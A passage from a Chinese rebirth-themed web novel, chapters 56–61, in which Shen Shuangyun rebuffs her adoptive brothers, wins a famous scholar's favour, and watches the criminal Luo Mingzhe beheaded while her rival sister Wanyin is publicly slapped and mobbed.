他是怕失去大妹妹吗?明明,他最疼爱,最喜欢的人是婉音啊,她才是嘴甜懂事,乖巧讨喜的好妹妹,是他和父兄们的掌中之珠。
霜云算什么?
不会的,不会的。
他怎么会怕失去霜云?
霜云又怎么可能离得开他们!
沈宁川拼
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命稳住心神。
一旁,沈今安嘟囔着骂,“沈霜云,死丫头,忘恩负义,脏心烂肠,二哥,你真多余求她,她一个女人,结识大儒有什么用?”
“能翻天吗?能科举吗?到最后,还不是得靠咱们给她撑腰!”
“镇国公府里,除了裴照野,剩下那几个公子,有在乎她的吗?都把她当成小丑一样的玩意儿,一个女子,不懂得娴静低调,非要出风头,能得什么好?”
“她以为那个臭读书和宣平候叫她,是看得起她吗?不过是把她当成戏子粉头之流,陪着喝酒而已!”
“庶出的孽障!!”
沈今安诅咒,恨的咬牙切齿。
自从沈霜云拒了他的求婚,他心里的火,就一直没泄。
沈墨言和沈宁川安静听着。
他们懂三弟心里的委屈,就让他骂几句难听的出出气,反正,他们的弟弟,他们了解,没有坏心眼,就是嘴损而已。
霜云拒绝他,让他颜面受损,挨些辱骂也是应该的。
他们纵容地看着弟弟。
沈婉音心里,却生出了浓重的不安,眼前的局面,跟她知道的全然不同,前世,二哥跟她炫耀时,说的明明是,他几句禅言出来,驳倒方知喻,瞬间打动他,方知喻邀请二哥入席,跟他清谈。
又拉着二哥入府,月余后,收他做了弟子,慢慢的,更是被二哥的才华所打动。
几乎把他当成亲儿子。
可,可……
刚刚二哥说的那个什么‘动不动的’,算是打动了方知喻吗?
她怎么感觉,出风头的更像是沈霜云呢?
全然不懂佛法,甚至连方知喻的问题都没听懂,觉得他是个莫名其妙的糟老头儿,沈婉音自然也不懂几人打的锋机。
她只是有些害怕,前世今生,突然变得不一样了,那二哥还能拜得名师,入国子监,考状元郎,为官做宰,替她撑腰吗?
“二,二哥哥,你刚刚答的,一定很精妙吧?方大儒是不是非常欣赏你,他会收你当关门弟子吧?”
沈婉音焦急,一把抓住沈宁川的胳膊,尖声质问。
第56章 二哥,你别当了**,又立牌坊啊
沈婉音是真的很怕,二哥的命运改变了。
她也是真的没有办法。
只能惶恐无助地吼叫。
沈宁川拧眉,隐隐失去太多的感觉,加上婉音抓他抓得太狠,胳膊都破皮了,痛楚让他沉脸,没好气地甩着胳膊。
“婉音,这里是宣平候府的寿宴。”
“你庄重些。”
重生归来,第一回被哥哥这样对待,沈婉音猝不及防,整个人呆在当场。
——
宣平候府的宴会,热闹顺利地结束了。
谢夫人含笑带着沈霜云离开。
今天,孩子在父母兄弟面前,替她涨了脸面,方伯伯全程带着霜云,还挥毫替她写了首诗,一直夸赞她‘机灵、懂事、聪明’……
方伯伯,名满天下的大儒,他的大弟子,当朝首辅都没被他这么夸过。
偏偏霜云做到了。
对父母来说,这是多体面,多得意的事儿啊。
谢夫人一直笑。
离开时,宣平候招呼她,“下次回府看我们的时候,把照野和霜云都带过来,那孩子佛法精深,又会做饭,有趣得很。”
把沈霜云和裴照野放在一块说儿。
宣平候已经接受了这个外八路的庶外孙女了。
“爹,你想跟霜云探讨佛法,我不管,但是你做的菜,千万别给她吃。”谢夫人皱眉,认真叮嘱,“那孩子从小内里亏了,沈家养得不好,她身子弱得很,我精心给她调养,都没给她补回来。”
“你别雪上加霜啊。”
一道菜下去,直接给孩子吃躺下怎么办?
“哦,那行吧,我知道了。”宣平候恹恹摸鼻子,满脸遗憾。
老头儿不开心了。
谢夫人没惯他。
跟方伯伯混到一块,做了半辈子的朋友,她爹能是什么正经人不成?
谁不了解谁啊!
镇国公府众人坐上马车,车夫刚准备扬鞭子,方知喻不知从哪里冒出来,冲着沈霜云招招手,喊她,“小姑娘,过来了,我老头子有话叮嘱你。”
沈霜云微怔。
谢夫人忙推她,“快去吧。”
沈霜云下车,来到方知喻跟前,轻声问道:“先生唤我,有何吩咐?”
不是已经约好了,下回见面的日子吗?
“老夫岁数大了,脑子有点糊涂,突然想起件天大的好事,正好合适你这个小姑娘。”方知喻笑着,神态轻松,眼神却郑重,他道:“下个月,万佛寺要备佛诞日,请老夫观礼。”
“你记得过来。”
“有好处。”
佛诞日?
沈霜云攒眉,回忆前世,没想起佛诞日那天,发生了什么大事?
那会儿,她应该是,一边装着体贴入微,勾引楚清晏,一边用尽手段,打探方知喻的性子,替二哥制定怎样‘勾引’师父,成为最受宠的徒弟。
两手都抓,两手都硬的时候。
没太关注外界消息啊。
但……
“好,先生,霜云晓得了,会准备赴约。”
方知喻是老顽童,恃才傲物,可秉性正直,不会害人。
他说是好事,自然就是好事。
沈霜云有些期待了。
方知喻见她听话,也没追问,是个沉稳的,心里满意,叮嘱几句,转身走了。
沈霜云目送他离开,刚要回车厢,突地,袖子被人拽住。
她回眸去望,就见沈家人满脸愤怒地站着。
拽她衣袖的,是沈宁川。
刚刚,他眼睁睁目睹了沈霜云跟名满天下的方大儒谈笑风生。
方大儒也笑容满面,眼带慈祥。
看得出来,老学者很喜欢沈霜云。
而沈宁川,或许是婉音一直说,方大儒会是他的老师,会欣赏他,收下他,于是,对这老学者,沈宁川真的产生了一种占有欲。
他总觉得,这个待遇,应该是他的。
哪怕他佛学平平,无甚巧思,但霜云会的,就是他会的。
以前都是这样。
霜云善书法,一手颜体写得漂亮,他拜第一个师父时,就是哄着霜云替他写帖,靠一笔好字,打动了那位进士,让他愿意收下商人之子。
只是,霜云的字写得太好,他怎么练,都练不出精髓,无奈拜师后,假装磕伤手腕,影响字体。
他第一个师父,到如今都遗憾不止,每每见他都会提起。
为此,沈宁川很
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气恼,举人试时,故意告诉沈霜云,“二哥心里好害怕,大妹妹,我要是考不好,怎么办?”
“家里要靠我改换门庭呢。”
“我做了官,你和婉音才会有好婚事。”
“我夜夜都睡不着,又不吃下,只有大妹妹亲手做的饭菜,才能勉强下咽……”
他狠命使唤沈霜云。
又暗地怂恿母亲,让沈霜云不分昼夜地伺候他,就是要累废她的腕子。
且,每回,她撑不住了,沈宁川还会假惺惺的表态,“不成不成,大妹妹,二哥知道你对我的心,可我不能为了自己累坏了你。”
“考不上就考不上吧,大不了我等三年。”
每每如此,沈霜云都会感动得眼泪汪汪,打了鸡血似的,撑着身体,强颜欢笑地安慰他,“二哥,我不累,我可以。”
备考三个月,沈宁川养的体态风流,满面红光。
本就是削瘦的沈霜云,脸色发黄,骨瘦如柴。
她累得手腕变形,书写时的字体也有改变。
沈宁川这才放心,他拜师的秘密,永远不会被发现了。
沈霜云就该如此,全心为他,一心想他,把所有的余力都奉献给他,他是男子,他是哥哥,这是他理所当然,应该得到的。
但如今……
“霜云,你刚刚甩开二哥的手,是没注意到对吧?”
“没关系,二哥哥不怪你,你是我最疼爱的妹妹,我不纵容你,纵容谁呢?”
沈宁川轻声。
沈霜云狐疑看他,片刻了然,“二哥最疼爱的妹妹,不是婉音吗?怎么又变成我了?”
她讽笑,眼神扫过沈婉音。
沈婉音泫然欲泣,委屈地含泪。
沈宁川抽抽嘴角,勉强道:“你们都是我妹妹,我当然是都疼的,霜云,你就姐姐,就别跟她争了。”
“长姐,应该让着幼妹的。”
“做妹妹的,也该全心替哥哥着想,兄友妹恭,才是兴家之道,二哥拜得名师,科举做官,才能替你们撑腰……”
“哦,也对!”沈霜云似笑非笑,在沈宁川期待的眼神,凉凉道:“那明年科举,我祝二哥哥金榜题名好了。”
第57章 沈霜云,你会永远失去我
“二哥那么有才华,肯定会中举的。”
沈霜云似笑非笑。
沈宁川愕然,不敢置信地问,“霜云,我跟你说了那么多,你要回我的,就只有这些吗?”
“对啊!”沈霜云攒眉,“二哥哥,我的祝福很真诚的。”
“你还想听什么呢?”
“当然是,让你把二哥介绍给那个姓方的大儒啊,我看他席间一直跟你说话,刚刚还来找你,应该有几分看重你吧,你自然要借机替家人谋福利,把好处让给二哥啊。”
沈今安没好气地训斥,“这都不懂,你真是个蠢的,半点婉音的机灵都没有。”
“胳膊肘儿往外拐,只会自己出风头,想想家里。”
“白白辜负了二哥对你的好,白眼狼。”
沈墨言深以为然,“霜云,你三哥说得对,我定一下,你明日带着宁川,主动去找那个姓方的,在把你会的那些什么‘佛**调’,全跟宁川说说。”
“你一个姑娘家,懂得太多也不好。”
“女子无才便是德,书读多了,心就野了,到是不够贤惠。”
“无才是德吗?妹妹倒是三岁启蒙,六岁学诗,八岁会舞,一直跟你们一同进学呢。”沈霜云冷笑。
沈今安撇嘴,“你也配跟婉音比?”
“自是不‘配’的。”
她好好的人,做什么跟畜生比?
沈霜云轻蔑,唇角勾出,如**绽放的笑,她轻声道:“不行哟,大哥哥,我没法帮二哥哥**。”
“修行学问,如逆水行舟,怎么可以作假?”
“二哥哥学究天人,惊世之才,方大儒性情古怪,又爱顽闹,不是二哥哥的良师。”
前世,沈宁川入朝为官后,就总爱埋怨她和方大儒,说他们一个‘自作主张’,害他没拜到更好的师傅,一个古怪无状,没个老者模样,丢他颜面。
“正所谓:伯乐易寻,千里马难得,二哥哥会有‘三顾茅庐寻天才’的良师,母亲在叫我了,我便不多耽误。”
“哥哥们,有缘在见吧。”
说罢,不等沈家兄妹反应,沈霜云转身上了镇国公府的马车。
莲步款款,裙据飘飘。
恍若姑射仙子。
沈家兄妹们怔怔着。
裴照野从窗户里探出头,恶劣地冲他们吐舌头。
沈宁川蓦然崩溃了,在维护不住‘二哥哥’的伪善面容,他追着马车向前跑,边跑边吼,“沈霜云,你敢走!!”
“你敢走,我就在也不认你这个妹妹。”
“你会永远失去我!!”
沈霜云恍若未闻,含笑拉回裴照野,宠溺地点了点他的额头。
旋即,放下车帘。
沈宁川哪追得上马车啊?跟了几十步,狼狈停下。
镇国公府的车队离开了。
尾尘扫了沈家兄妹一脸。
许久,许久,沈婉音勉强自己扯出笑脸,“好了,二哥哥,你别生气了,姐姐不帮你,是她没眼光。”
“她性格本来就恶劣,嫌贫爱富,咱们不受她的气。”
“二哥哥,你那么聪明厉害,不用靠她,也能打动方大儒,刚刚你回答的时候,我看大儒眼睛都亮了。”
“他肯定私下看中你了。”
二哥哥是天纵之才,他是状元之资,宰辅之相,他一定会成功,成为她的靠山!
沈婉音拼命劝着自己,压下隐隐惶恐和嫌弃之色。
前世二哥哥扬名的佛学之争,他,他居然输给了沈霜云,简直是太没用了!
沈霜云,她的手下败将,脚底烂泥,二哥哥连她都辩不过。
状元之才,不过如此嘛。
可惜她是个女孩儿家,要是男儿,哼,六元及第就是她的。
沈家人恹恹离去。
——
回到镇国公府,沈霜云压着兴奋的情绪,坐要檀木案前,辅下笔墨纸砚。
她抄了一个半时辰的心经。
总算冷静。
“改变,也不难啊。”
沈宁川的命运,他的青云路,今日,就因为自己蒙上了阴影,甚至直接斩段。
“他能变,我也可以。”
前世的结局,楚清晏的折腾,再也不会落到她身上。
沈霜云握紧狼毫,眼眸晶亮。
沈氏一族。
今日,才刚刚开始呢。
沈霜云勾唇,静静抄经,最后一笔收尾,她把掺着金漆,字迹工整的‘心经’钉好,放进专门搁佛经
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的小柜子。
梨花木的材质,整整齐齐放了百余本经书。
那都是她的心血。
以后用得上。
备着。
沈霜云含笑,前往正院,陪谢夫人用晚膳去了。
谢夫人把宣平候府送沈霜云的见面礼,全都整理出来。
宣平候送了嵌玉菩提手串,宣平候夫人送了白玉净瓶和错银莲花香炉。
谢夫人的哥哥,沈霜云的舅舅赠了琥珀嵌七宝妆匣,舅母送了红丝莲花缨络衣,二舅舅和二舅母送了沉香木雕观音挂屏,**微雕舍利塔。
大姨母给了累丝金翅鸟步摇,小姨母送檀木香串。
平辈的表兄表姐们,则赠了些流银香薰球,青石玉印,琉璃围棋等物。
只有大表哥,仿佛是从照野那儿,得了什么信儿,他送了一对儿开刃的雕降魔杵剑短。
沈霜云在宴间和方知喻的对答,表现出佛法精深的样子。
宣平候的礼,上至候爷,下至最小的表妹,送的全都跟佛有关。
可见是真的用心。
两辈子,三个家,第一回有人欢迎她,热情给她准备礼物。
沈府,镇国公府,两个父亲,一个母亲,七个哥哥,没谁真的重视过她。
除了谢夫人和照野。
他们母女也是宣平候的血脉,可见,有些人,真的是从骨子就善良。
沈霜云接过礼单,听谢夫人念叨,“怎么送的都跟佛有关的?小姑娘家家,学些佛法是好的,但不能太过,真钻进去可不好,别移了性情。”
“不过,东西是好东西,好好存着,日后当成嫁妆也是不错的。”
沈霜云含笑点头。
一会儿,裴照野也来了,把小脑袋靠在沈霜云肩上,笑嘻嘻地撒娇,让‘大姐姐帮他夹菜’……
下午那会儿,他跟候府表哥们去跑马了。
累得腿儿都细了。
“好累呀,好累呀~”
裴照野哼哼唧唧,用丸子头蹭姐姐。
沈霜云被他可爱到,笑弯眼睛,摸着他的头,替他夹菜。
裴照野眼睛一个劲儿贼着谢夫人,趁她没注意,凑到沈霜云耳边,小声说:“大姐姐,那个骆明哲要**啦……”
第58章 跟小王颠鸾倒凤的霜云
骆明哲,前世害赵丹雪丧命的流氓,今生,被沈霜云一个‘栽赃陷害’,变成了偷盗御赐之物的死囚犯。
当时,县令定的罪是关入大牢,秋后问斩。
后来,又被裴九卿察觉出不对,调去京兆府,如今……
“的确是到他死的日子了。”
沈霜云喃喃,莞尔一笑,“他**,一切尘埃落定!”
赵丹雪的命运,彻底改变了。
“对啊,我和盈盈约好了,去看他的下场。”裴照野叼的翡翠虾球,小脸吃得一鼓一鼓的,他道:“大姐姐跟我们一起去咩?”
“看他?”沈霜云攒眉,有些担忧,“我记得骆明哲是要**的。”
“你和盈盈不怕吗?”
“大姐姐,我们是将门子弟,天生英豪,怎么会怕**呢?”裴照野骄傲地扬起小下巴,哼哼唧唧的,“你不要小看我们呀!!”
“我和盈盈,我们都很厉害的!”
“是吗?”沈霜云被他可爱到了,失笑揉着他的脑袋。
“那好啊,大姐姐陪你们一块儿去。”
骆明哲算是她重生后,第一个‘亲手’杀的人,他**,也算是命运的真实改变吧。
——
骆明哲案,九月十一,午时一刻,京城菜市口问斩。
沈霜云和裴照野,早早坐上马车出府了。
他们拐着弯儿,去赵府接了赵盈盈。
赵丹雪性格软糯,犹豫再三,没敢跟出来看。
赵盈盈拍着胸脯保证,“姐,你放心,我帮你看,我保证眼睛都不眨,看得真真的,回来学给你听,让你出气。”
“哼,那个王八羔子,恶有恶报了。”
赵丹雪小脸煞白,咬唇无语,片刻,小声说了句,“盈盈,不许骂人。”
但……
可以把骆明哲的下场,学给她听。
赵盈盈嘻笑,高高答应,“好。”
说罢,跟着沈霜云和裴照野坐上马车,一路欢声笑语,来到菜市口。
时辰尚未到。
三人进了菜市口附近的酒楼,在三楼包了个雅间,要了些点心清茶,静静等着。
裴照野和赵盈盈年纪小,没耐心,坐了一会儿,就手拉手跑出去看热闹了,沈霜云自斟自饮,悠然静候。
突地,雅间的门被叩响。
沈霜云抬眸,柳眉轻攒,尚未开口。
门已经开了。
一身月白长衫,发束玉冠的楚清晏,迈着四方步,风度翩翩进门。
他轻声,眉目含笑,深情脉脉,“昨夜小王夜梦,耳边屡有喜鹊鸣叫,私下想着定然是有喜事。”
“没想到,应到了沈姑娘身上。”
“真是天缘凑巧,居然偶遇了。”
小霜云,本王昨夜的你入梦,颠鸾倒凤,鲜血绽你后背,好不快活,今日就遇见了。
显然,你就是本王的人。
本王乃是天生的帝王,得天独厚,天下、权势、美人,都应入本王之怀。
重生后,事事顺心,楚清晏心中,已然狂妄至极。
前世的太子之路。
太慢了。
镇国公府。
太碍眼了。
他眸光暗沉,内里涌现出嗜血的光。
沈霜云攒眉,敏感察觉出不对来。
毕竟,前世,她是靠琢磨楚清晏活命的,他,哪怕只有一丝一毫的异样,眉眼间的阴沉变动,沈霜云都能第一时间发现。
他……
想杀谁?
沈霜云垂眸,暗暗吸气,缓和情绪,“原来是小王爷,霜云失礼了。”
她低声,没站起身,眉眼间浮出些许不耐,以及微微羞恼。
重生。
是她面对楚清晏的底牌。
绝不能露。
楚清晏上下打量她,没发觉不对,反而,跟前世解语花不同,微带逆反的小霜云,越发引起他的兴趣。
只是……
镇国公府尚未覆灭,不好把人揽尽玩里,任意把玩。
“霜云姑娘~”
楚清晏的视线,饿狼般凝视,仿佛从上到下,阴湿的舔食,“七日后,是令妹入晋王府的日子,小王准备了个小小的纳妾礼。”
“你和婉音姐妹情深,定然是想送送她的。”
他说,眼神微扫。
身后小厮,战战兢兢上前,恭敬把请帖放到桌上。
楚清晏含笑,潇洒挥扇。
正品暂时得不着,把玩个替身也能聊解思念。
沈霜云垂眸,看着那请帖。
前世,没有小宴,没有请帖
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,甚至连顶粉轿都没有,她裹着个包袱皮,入了晋王府,今生,换成沈婉音……
想想她入府后那些经历。
倒是有些期待了。
“我会去的。”
她轻声。
不止是想见证一下沈婉音的‘风光’,也是,楚清晏后宅里,有她想见的人。
许老将军的侄孙女——许惠儿。
她是要见见的。
楚清晏刚刚那抹嗜血杀气,她也有些在意。
“好,那小王就恭迎,嗯,呵呵呵,大姐姐了~”
楚清晏舔唇,满面暧昩。
沈霜云握拳,觉得十分恶心。
她侧过脸儿,控制住想扇他耳光的欲望。
楚清晏却觉得她是害羞了,又自觉潇洒地挥了挥扇,转身离开。
他走出雅间,眉梢眼角,飞扬着志得意满。
三楼角落的包厢里,裴寂之侧目冷眼。
沈霜云,果然跟楚清晏有勾结!!
——
时间飞快,转眼到了午时。
骆明哲和一众**带着枷,跪在菜市口的高台上。
监斩官翻阅罪案。
高台下,围着苦主和看热闹的老百姓。
裴照野和赵盈盈回雅间,把沈霜云带出来,三人站在酒楼廊下。
时隔几月,又见骆明哲,他已没有威胁赵家姐妹时的张狂,裴九卿恼这个‘裤衩’害赵家妹妹,刻意吩咐师爷‘关照’过。
骆明哲在京兆府的大牢里,真是吃尽了苦头。
一天三餐,外加宵夜的挨打,皮鞭子沾盐水,红铬铁按前胸,夹板夹手指……
骆明哲苦不堪言,整个人血葫芦般,跪在高台上,腰都直不起来了。
“验人犯正身。”
监斩官见时辰已至,放下案卷,高声下令。
自有衙役上前唱名。
围在下头的苦主和百姓们踱脚张望。
裴照野和赵盈盈,也忍不住拉着沈霜云上前。
几人刚刚站定,耳边,就传来一声娇媚,又充满遗憾和惋惜的声音,“好可怜,好生可怜的骆公子啊。”
“他那一番深情喂了狗,被那狠心的妇人背叛,如今,更是连命都搭上了。”
“呜呜呜,太不值得了,我为骆公子一哭。”
第59章 沈婉音又挨打了
含悲带戚,矫揉造作的声音入耳。
沈霜云侧目,就见一身淡粉衣裳,头戴白花的沈婉音,楚楚可怜地抹着眼泪。
她身边,沈家三兄弟跟着,柔声细语地劝她。
“婉音,别哭了,小心眼睛疼。”
“哎啊,小妹啊,你哭的三哥心都揪起来了。”
“好婉音,二哥知道你心善,看不得人间不平事,可你也要替哥哥们想一想啊,你把二哥心都哭碎了。”
三人围着沈婉音哄。
沈婉音眼眶微红,泪水不停。
心里却得意。
骆明哲要**是她无意中听见的,前世偷奸的狗男女,谁生谁死,跟她无甚关系,只是私心觉得,明明自尽的该是女子,怎么换成了男人?
唉,果然啊,最毒妇人心,跟沈霜云混在一起的赵家姑娘,能是什么好东西?
沈霜云会嫁给三哥,哪怕她现在不愿意,但日后,家里飞黄腾达,三哥富甲天下的时候,沈霜云肯定会巴上来。
沈婉音不允许任何人动摇她在哥哥们心里的地位,自然要展现一下善良。
骆公子就是她的‘道具’。
她一个闺阁女儿家,为素不相识的‘痴心可怜人’哀痛收尸,这是多么善良,多愁善感,又娇柔脉脉之举啊。
小王爷知道了,都会觉得她菩萨心肠的。
沈婉音甚至戴上了白花。
“骆公子,呜呜呜,我们不曾见过,我就是听了你的故事,大为感动,呜呜呜,我和你一样,我们都是痴情人。”
“只是,我是幸运的,我遇见了我们爷,他真情真爱,回应了我,但是可怜你,你却遇着狠心毒妇,她辜负你们的白首之约,反害你的性命,呜呜呜……”
“赵丹雪那个蛇蝎!”
“我要为骆公子一哭!”
她盈盈泪目,软语喃喃。
高台上,被打成烂肉的骆明哲,一个字都没听见,然而,就站在她附近的裴照野、赵盈盈和沈霜云,听得清清楚楚。
赵盈盈怒火中烧。
她和沈婉音见过几面,不曾交谈,沈婉音在那嘟嘟囊囊的话,她却听全了。
赵盈盈从来没想过,骆明哲这种臭地痞,也能被皇商家的姑娘,称作‘公子’。
她不知道沈婉音在那儿哭什么,但是那一句‘赵丹雪是蛇蝎’,她却是听得真真切切,在上下结合一下。
哦,这是骂她姐姐呢!!
你算老几啊!!敢来骂她姐姐!
赵盈盈眼睛都竖起来了,‘雌雄双煞’本身就有小脾气,她又格外在乎姐姐,怒火往上冲,她转身,两步来到沈婉音跟前,在她扭捏啜泣,“骆公子,我是你的知音……”之时。
一个大耳光,扇到她脸上。
赵盈盈是将门之女啊,自幼习武,抡圆了的大巴掌,扇的沈婉音瞬间失声,整个人都懵了,脑子嗡嗡直响,眼前一片白光。
‘啪!’
“啊!!”
她尖叫,花容失色。
向后跌倒。
沈宁川连忙扶住她,垂头去看,就见她的脸颊飞快红肿,嘴角渗出血来。
牙都打松了。
“婉音,婉音,你没事吧?”
沈默言急切喊着。
沈今安更是咆哮,“干什么?哪来的小泼妇,敢打我妹妹?”
他冲赵盈盈挥拳,又一眼看见沈霜云,越发恼怒,“是你!!”
“又是你!沈霜云!你怎么总是阴魂不散,是不是你指使这个疯丫头打婉音?”
“我懂了,我懂了,是婉音要入晋王府,飞黄腾达了,你嫉妒她,才要害他,毁她的脸对不对?”
“我的脸!!我毁容了吗?天啊,大哥,二哥,三哥,我的脸,我的脸!”
沈婉音脸颊火辣辣的疼,心中惊恐到极点,捂脸放声尖叫。
我嫉妒她?
沈霜云失笑,眉眼浮出冷意,她冷声,“三哥,妹妹被打,是她不修口舌,随意贬低人,昔日宫中,陛下都警告过她,她偏不记得。”
“怎么又跟我相关了?”
“是我让她信口开河的吗?”
“况且,我嫉妒她什么?”
“嫉妒她做侍妾?当个通买卖的玩意?”
前世,她被沈家人送入晋王府,沈婉音万般轻蔑,称呼她做,“打帘子的贱婢,通买卖的奴婢,也就是晋王世子的玩意儿,连
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人都算不上,就是个‘器具’……”
今生她为侍妾,就值得嫉妒了?
“姓沈的,你少跟我霜云姐姐嚷嚷,欺负她脾气好,是不是?”
“有能耐,你冲着姑奶奶来啊!”
赵盈盈抽出腰间马鞭,指着沈家兄妹,怒气冲冲地骂道:“沈婉音,你刚刚放的什么屁?说我姐姐什么了?”
“怎么着?姓骆的是你情郎啊,你来替他披麻戴孝,收尸哭丧来了?”
“今日,午门斩首的,都是御笔亲判,大逆不道之人,你口口声声替他们喊冤,你是何居心?”
赵盈盈刻意把最后一句话的调门,提高了。
周遭百姓们,隐隐约约全都听见。
包括苦主们。
今日在午门斩首的,不止骆明哲一个,秋后问斩,足足八人。
其中,有两个**的,三个强盗的,一个不孝的,一个**的,以及,骆明哲这个偷盗御赐之物的。
**、强盗、**死囚犯的受害者家人们,今日全**在菜市口,等着看犯人**呢,赵盈盈和沈婉音的纠缠,他们看见了,只是不明所以。
直到赵盈盈高声大喊,沈婉音是来替囚犯们‘披麻戴孝报不平’的。
苦主们**了。
毕竟,赵盈盈没说沈婉音是来替谁报不平的?偏偏苦主们心中痛苦,恨意滔天,满腔的怒火无处发泄,都觉得是自己。
他们围上前,哭天抹泪,去厮打沈婉音。
“没心肝的小娘皮,我爹娘老子都被强人杀了,他们六十的人了,招谁惹谁?你是他姘头吧,来替他报不平!!”
“小**,我跟你拼了,你男人勾搭我媳妇!!”
“我的女儿啊,你死得好惨。”
十几个苦主,你一脚,我一拳地咆哮。
看热闹的人,围的里三层,外三层。
“啊啊啊!!”
沈婉音被扯了头发,放声尖叫。
沈家三兄弟见状,目瞪口呆,片刻,缓过神来,冲进去解救妹妹,却是寡不敌众,被苦主们推搡的东倒西歪。
“我是晋王府的女主子……”
这一句,让有心人,耳朵一动。
第60章 我到要看霜云会不会无地自容
“我的天啊,放开我,别扯我头发。”
“我的衣服……”
“哎哟,我的鞋!”
沈家兄妹尖叫,拼命往出挤,他们狼狈护着沈婉音,逃到街角屋檐下。
赵盈盈气没出够,不依不饶。
抬步追上去。
沈霜云和裴照野互望一眼,笑着跟上前。
人群散了。
监斩官见没出大乱子,也当没瞧见,望望天色,“午时已到,开斩!”
他扔下令牌。
高台上,刀斧手把犯囚犯的牙牌拿下,扔到地上,算是验名正身,旋即,举起大刀,一口酒奔上去。
“噗!”
刀口雪亮,高高扬起,重重挥下。
“啊!!”
几声痛叫,斗大脑袋滚落在地,死囚犯们横尸当场。
骆明哲也不例外。
“儿啊,你能瞑目了!”
苦主们痛哭。
死囚犯的家人们,小心翼翼的尸体拉走了。
骆明哲……
没人管。
他本就是地痞混混,无父无母,昔日兄弟们在他入狱后,跑的跑,逃的逃,根本无人替他收尸。
监斩犯挥手,示意衙役把他拉到乱葬岗。
“呜呜呜呜,骆兄啊!”
屋檐下,沈婉音整理着凌乱的头发,青紫一片的小脸,染着泪痕,执意装善良,“三哥哥,呜呜呜,我们,我们替骆兄收尸好不好?”
“你去帮他买个好棺材,置办块墓地,风发大葬他。”
“我,我真的好可怜他,痴心人遭背叛,命都没了……”
“呜呜呜呜。”
沈今安被个膀大腰圆的苦主,踢了好几脚,腰疼得像要裂开一样,偏偏,妹妹一点没关心自己,眼泪伤感,全冲着那个骆明哲去了。
那个人,那个人他,他,他到底是谁啊?
根本就不认识。
妹妹也说不出所以然,就一味地哭什么‘痴心人’、‘同命相连’,沈今安心里又伤感,又生气,真想怼她几句,可是,转眼瞧妹妹哭得梨花带雨。
他又不忍心!
“好,我,我知道了!!”
他咬牙切齿地答,带着赌气的意味。
沈婉音没听出来,反而觉得哥哥们懂了自己的善良,心里美滋滋的。
“收尸,哈哈哈,你们还真是孝子贤孙啊,为了个偷盗御赐之物,大逆不道之人,哭丧戴孝,又要替他风光大葬!”
“真真的,沈家是有不臣之心,替反逆之人委屈吗?那我可要好好地向大伯和国公爷禀告一番,替你们沈家扬扬名才是啊。”
赵盈盈追上来,冷笑厉声。
她大伯跟内务府管理皇商的官儿是好友。
正好治治沈家。
“呃……”沈宁川不知道赵盈盈心中想法,但他晓得赵家官职,心里暗觉不妙,他赶紧拉住沈婉音,急声道:“好了,妹妹,你不要说了。”
“骆明哲犯的是国法。”
偷盗御赐之物,那是冒犯皇威,妹妹同情他,私下来送他一程,也就罢了。
都被抓了当场,怎还能张狂!
“可是我,我……”沈婉音瞪眼啜泣。
没想到二哥居然会指责自己,她委屈万分,“大哥,你看二哥,他居然凶我!”
“宁川,婉音也是心地好。”沈墨言心疼的道,旋即,又转身看向沈霜云,理所当然地吩咐,“霜云,你去劝劝你的小朋友,得饶人处且饶人。”
“别太过分了。”
“婉音是个天真善良的好女子,她只是可怜骆公子罢了,怎么扯上了不臣之心了?未免太上纲上线。”
“你是她姐姐,应该了解她的为人,不替她分辨,帮她挡难,反而冷眼看着你的小朋友,挑拔人打她,真是,真是……”
“你太让我失望了。”
“还不快快的,把你的小朋友带走,我们大**量,不追究她了。”
他大度摆手。
一派‘便宜你们’的样子。
沈霜云冷笑,毫不留情:“沈婉音血口喷人,惹下祸来,也不是第一回了,一点记性不长。”
“就该受点教训了。”
“她说别人,不许别人说她?哪来的道理,我是不管的。”
“毕竟,你们那么疼婉音,肯定会愿意替她受过的,不是吗?”
沈墨言拧眉,尚未开口。
沈婉音气极,高声道:“谁要你和管了?姓
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赵的,你少吓唬我,什么不臣之心?什么皇商任免?你有那么大的能耐吗?”
她二哥哥马上要拜方知喻为师,做当朝首辅的小师弟了,到时,爹爹做多高的官,不过是首辅大人一句话而已。
怕什么?
“你看,人家都不用我管。”
沈霜云讽笑。
赵盈盈冷笑不止,打定主意,回家就告状。
裴照野咬牙,感觉手痒痒的,想用马鞭抽人了。
沈墨言扬眉,想要说话。
那边,镇国公府的马车突然跑过来,气喘吁吁地扬声,“五公子,大姑娘,赵姑娘,奴才刚遇见了方府小厮,他说方大儒在天下第一楼吃酒,看见您几位,邀你们上去喝一杯。”
“是方伯伯?”
裴照野立刻收起**的心思,转头问,“大姐姐,咱们去吗?”
“方老先生邀请,自然不能推辞。”
沈霜云瞬间把沈家人放下。
对他们……
报仇就是,别的,放一点心思都不值。
赵盈盈点头。
三人没理沈家兄妹,转身离去。
沈宁川嘘出口气,觉得这桩事总算了结。
沈婉音却不甘心,她二哥可是方大儒未来的关门弟子,饮宴当然要有他一份,“大哥,二哥,三哥,我们跟过去。”
“二哥是要拜方大儒为师的,不能错过任何一个机会。”
“这,这好吗?”沈宁川愕然。
沈婉音重重点头,“当然好啊,方大儒肯定对你印象深刻,你去了,他不晓得会有多开心!”
“婉音说得对,二哥,咱们走!”沈今安冷着脸。
他心里很不自在。
他被那些乱民苦主踢了,肋骨生疼,脸色惨白,看着就不对劲儿,偏偏,婉音和霜云,谁都没关心他一句。
婉音就算了,她生来是大咧咧的性子,霜云却心细如尘,以往,也对他关注不已,怎么如今?看都不看他一眼。
是没注意到吗?还是碍着裴照野在,不敢关心养哥哥?
无情啊。
太无情了!
他偏要凑上去,在她眼前晃,看看她会不会内疚?也让她羞愧到无地自容!
第61章 惨遭打脸的沈家兄妹
以往在沈家,沈霜云是真的孝顺父母,关心哥哥们。
沈今安习惯了她的无微不至,如今,被忽略到无视,他愤怒、不适,又隐隐有些恐惧和不安。
这些情绪,促使他拼命想证明。
霜云是无意的,她绝对不可能真的放下自己。
他是三哥哥啊。
是她未来的丈夫,长兄为父,夫为妻纲。
他是霜云的天,霜云怎么敢不在意他?
是的,沈今安从来不觉得,沈霜云会不嫁他。
他那么优秀,天下哪有女人舍得拒绝?
沈婉音和沈今安都愤怒不已,沈墨言和沈宁川见状,也不好反驳,尤其是沈宁川,心里也抱着拜师的念头。
四兄妹坐上自家马车,远远坠着镇国公府的车夫,一路来到方府。
车夫停鞭。
方府门房殷勤上前,满脸堆笑,把沈霜云、裴照野和赵盈盈迎进门中。
